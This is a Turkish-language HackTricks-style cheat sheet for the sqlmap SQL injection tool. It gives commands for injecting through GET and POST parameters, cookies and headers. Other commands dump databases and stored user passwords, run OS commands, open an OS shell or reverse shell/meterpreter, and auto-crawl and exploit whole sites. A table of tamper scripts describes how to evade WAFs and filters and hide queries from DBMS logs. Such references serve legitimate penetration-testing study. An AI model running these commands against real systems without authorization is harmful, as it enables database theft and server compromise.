# SQLMap {{#include ../../banners/hacktricks-training.md}} ## SQLmap için Temel Argümanlar ### Genel ```bash -u "" -p "" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="" --os="" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="" #HTTP authentication credentials (name:password) --proxy=PROXY ``` ### Bilgi Alımı #### Dahili ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB ``` #### DB verileri ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D ) --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` ## Enjeksiyon yeri ### Burp/ZAP yakalamasından İsteği yakalayın ve bir req.txt dosyası oluşturun. ```bash sqlmap -r req.txt --current-user ``` ### GET İsteği Enjeksiyonu ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### POST İsteği Enjeksiyonu ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### Başlıklardaki ve Diğer HTTP Yöntemlerindeki Enjeksiyonlar ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### İkinci derece enjeksiyon ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` ### Shell ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### SQLmap ile bir web sitesini tarayın ve otomatik olarak istismar edin ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ## Enjeksiyonu Özelleştirme ### Bir ek ayarlama ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### Önek ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### Boolean enjeksiyonu bulmaya yardım ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Açıklama | | :--------------------------- | :------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir | | apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir | | appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler | | base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar | | between.py | 'BÜYÜK' operatörünü \('>'\) 'NOT BETWEEN 0 AND \#' ile değiştirir | | bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir | | chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-kodlar \(zaten kodlanmış olanları işlemiyor\) | | commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir | | commalessmid.py | 'MID\(A, B, C\)' gibi örnekleri 'MID\(A FROM B FOR C\)' ile değiştirir | | concat2concatws.py | 'CONCAT\(A, B\)' gibi örnekleri 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' ile değiştirir | | charencode.py | Verilen payload'daki tüm karakterleri url-kodlar \(zaten kodlanmış olanları işlemiyor\) | | charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlemiyor\). "%u0022" | | charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlemiyor\). "\u0022" | | equaltolike.py | Eşitlik operatörünün tüm örneklerini \('='\) 'LIKE' operatörü ile değiştirir | | escapequotes.py | Ters eğik çizgi ile alıntıları kaçırır \(' ve "\) | | greatest.py | 'BÜYÜK' operatörünü \('>'\) 'GREATEST' karşılığı ile değiştirir | | halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler | | ifnull2ifisnull.py | 'IFNULL\(A, B\)' gibi örnekleri 'IF\(ISNULL\(A\), B, A\)' ile değiştirir | | modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar | | modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar | | multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler | | nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir \(örneğin .replace\("SELECT", ""\)\) filtreler | | percentage.py | Her karakterin önüne bir yüzde işareti \('%'\) ekler | | overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür \(zaten kodlanmış olanları işlemiyor\) | | randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir | | randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler | | securesphere.py | Özel olarak hazırlanmış bir dize ekler | | sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmesi için | | space2comment.py | Boşluk karakterini \(' '\) yorumlarla değiştirir | | space2dash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler | | space2hash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler | | space2morehash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler | | space2mssqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir | | space2mssqlhash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler | | space2mysqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir | | space2mysqldash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler | | space2plus.py | Boşluk karakterini \(' '\) artı \('+'\) ile değiştirir | | space2randomblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir | | symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir \(&& ve | | unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir | | unmagicquotes.py | Alıntı karakterini \('\) çok baytlı bir kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ekler \(çalışması için\) | | uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir | | varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler | | versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar | | versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar | | xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler | {{#include ../../banners/hacktricks-training.md}}